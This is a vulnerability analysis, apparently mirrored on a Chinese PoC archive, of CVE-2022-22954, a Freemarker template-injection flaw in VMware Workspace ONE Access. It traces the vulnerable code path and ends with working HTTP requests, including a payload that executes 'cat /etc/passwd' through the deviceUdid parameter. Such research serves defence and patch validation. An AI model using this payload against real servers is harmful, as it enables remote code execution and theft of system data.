目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2022-22954 PoC — VMware 多款产品代码注入漏洞

来源
关联漏洞
标题: VMware 多款产品代码注入漏洞 (CVE-2022-22954)
Description:Vmware Workspace One Access是美国Vmware公司的将用户身份与设备和网络信息等因素结合起来,为 Workspace One 交付的应用程序制定智能驱动的条件访问决策。 VMware 多款产品存在代码注入漏洞,该漏洞源于不正确的输入验证。远程攻击者利用该漏洞发送特制的HTTP请求并执行服务器端模板注入。
Description
CVE-2022-22954 analyst
介绍
# Phân tích CVE-2022-22954

## Tổng quan 
Workspace ONE Access (mô hình cung cấp không gian làm việc dưới dạng một dịch vụ) cung cấp tính năng xác thực đa yếu tố, đăng nhập một lần và truy nhập có điều kiện cho SaaS, các ứng dụng web và mobile.
CVE-2022-22954 là lỗ hổng Server-side Template Injection tồn tại trên các sản phẩm:
* VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
* VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, và 3.3.3
* VMware vRealize Automation (vRA): v8.x và 7.6
* VMware Cloud Foundation (VCF): v4.x và 3.x
* vRealize Suite Lifecycle Manager: 8.x


## Setup
1. Tải file ova của VMware Workspace ONE Access Appliance phiên bản 21.08.0.1
2. Mở file bằng VMware Workstation, máy ảo cần được đặt tại mạng NAT
3. Tại Networking Properties, cần cấu hình Host Name (FQDN)

    ![](./img/1.png)

4. Sau khi quá trình cài đặt xong, truy cập vào đường dẫn *https://{{hostname}}:8443/* để tiến hành cấu hình mật khẩu tài khoản ứng dụng, mật khẩu tài khoản ssh và database của ứng dụng
Ứng dụng được chạy tại *https://{{hostname}}/*

	![](./img/2.png)

5. Đăng nhập vào máy ảo thông qua tài khoản *sshuser*, chuyển sang tài khoản root
Phát hiện đường dẫn ứng dụng tại */opt/vmware/horizon/workspace/*
Mã nguồn ứng dụng tại thư mục */opt/vmware/horizon/workspacce/webapps*

    ![](./img/3.png)

6. Kiểm tra file */opt/vmware/horizon/workspace/bin/setenv.sh*, nhận thấy biến *JAVA_OPTS* có thể cấu hình remote debug

    ![](./img/4.png)

7. Thêm *-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n*
vào *JAVA_OPTS* và restart dịch vụ

        `systemctl restart horizon-workspace.service`

## Path Analysis

Tải file hotfix [HW-154129-applyWorkaround.py](https://vmware-gs.my.salesforce.com/sfc/p/f40000003u6t/a/5G0000002Nla/9COLfZG7uu8iDjLoZTis5Ltzmd1H87iToXs9uLZF8IU)

Trong các bước, có bước loại bỏ file **templates/customError.ftl** ra khỏi ứng dụng

![](./img/5.png)

Trong file **customError.ftl**, tồn tại hàm *eval*. Lỗi *Freemarker SSTI* có thể khai thác từ đây nếu như có thể kiểm soát được giá trị *errorObj*.

![](./img/6.png)

![](./img/7.png)

Trong class **com.vmware.enusercatalog.ui.web.UiErrorController**, ta thấy hàm **handleGenericError** gán giá trị vào **errorObj** thông qua biến **errorMessage**

![](./img/8.png)

Tiếp tục theo dõi các lời gọi hàm và tham số **errorMessage**

Hàm **handleUnauthorizedError**

![](./img/9.png)

Hàm **getErrorPage**

![](./img/10.png)


Tới hai hàm **sendError** và **sendUnhandledError**, giá trị của **errorMessage** được lấy từ thuộc tính *javax.servlet.error.message*

![](./img/12.png)

![](./img/13.png)

Trong class **com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver**, thuộc tính *javax.servlet.error.message*”* được gán giá trị tại hàm **resolverExeption**

![](./img/11.png)

Hàm **handleAnyGenericExeption** được gán annotation *@ExeptionHandler*

![](./img/14.png)

Tại class **com.vmware.endusercatalog.ui.UiApplication**, trong các gói được gán nhãn *@CommponentScan* có **com.vmware.endusercatalog.auth**

![](./img/15.png)

=> Các exception tại gói này có thể được bắt bởi hàm handleAnyGenericExeption

Tại **com.vmware.endusercatalog.ui.config**, interceptor **AuthContextPopilationInterceptor** được thêm với các đường dẫn */ui*, */hub-ui*, */hub-ui/byob*, */logout*, */ui/oauth/verify*

![](./img/16.png)

![](./img/17.png)

Chuyển hướng tới class **com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor**, tại hàm **preHandle**, ứng dụng nhận 2 tham số **deviceUdid** và **deviceType** và gọi hàm **authContextBuilder**

![](./img/18.png)

Tại class **com.vmware.endusercatalog.auth.interceptor.AuthContext**, exception **InvalidAuthContextException** sẽ xuất hiện nếu điều kiện **this.isValidRequest** không thỏa mãn

![](./img/19.png)

![](./img/20.png)

Để **isValidRequest** thỏa mãn, 2 tham số **this.deviceId** và **this.deviceType** cần đồng thời rỗng hoặc đồng thời có giá trị

![](./img/21.png)

=> chỉ truyền giá trị cho 1 trong 2 tham số sẽ xuất hiện lỗi ở đây

![](./img/22.png)

Gửi request 
```
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 
```
xuất hiện lỗi 
```
An unexpected error occurred while processing request with requestId: {0}.
```

Quay lại hàm **com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController** nhận thấy lỗi trên xuất hiện do thiếu tham số yêu cầu **error**

```java
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }
```

Gửi lại request 
```
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 
``` 
giá trị của deviceUdid xuất hiện tron response

![](./img/23.png)

Chèn tham số gây lỗi SSTI của Freemarker

![](./img/24.png)

Gửi request với giá trị 
```
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
```
![](./img/25.png)

## EXPLOIT

![](./img/26.png)


## REFERENCE LINKS
- https://kb.vmware.com/s/article/88099
- https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →